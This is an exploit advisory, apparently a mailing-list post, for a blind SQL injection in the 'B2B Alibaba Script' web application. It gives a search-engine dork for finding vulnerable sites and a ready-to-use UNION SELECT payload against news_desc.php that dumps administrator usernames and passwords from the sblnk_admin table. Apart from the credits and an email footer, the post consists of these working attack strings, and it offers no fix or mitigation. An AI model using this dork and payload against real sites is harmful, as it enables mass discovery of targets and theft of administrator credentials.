B2B Alibaba Script SQL Injection

`  
  
=-==-==-==-==-==-==-==T==K==R==D==-==-==-==-==-==-==-==-==-==-==-==-=  
B2B Alibaba Script SQL Injection Vulnerability  
  
Author : FormatXFormaT  
  
Bug Type : Blind SQL Injection  
  
=-==-==-==-==-==-==-==T==K==R==D==-==-==-==-==-==-==-==-==-==-==-==-=  
  
Dork:  
allinurl:news_desc.php?id=  
  
=-==-==-==-==-==-==-==T==K==R==D==-==-==-==-==-==-==-==-==-==-==-==-=  
  
Exploit:  
  
http://server/news_desc.php?id=[sql]  
http://server/news_desc.php?id=4+union+all+select+1,concat(username,0x3e,password),3,4,5+from+sblnk_admin--  
  
=-==-==-==-==-==-==-==T==K==R==D==-==-==-==-==-==-==-==-==-==-==-==-=  
  
Special Thanks: All Tkurd.com Memebers.  
  
=-==-==-==-==-==-==-==T==K==R==D==-==-==-==-==-==-==-==-==-==-==-==-=  
________________________________  
Windows Live: Keep your friends up to date with what you do online.<http://www.microsoft.com/middleeast/windows/windowslive/see-it-in-action/social-network-basics.aspx?ocid=PID23461::T:WLMTAGL:ON:WL:en-xm:SI_SB_1:092010>  
  
  
  
`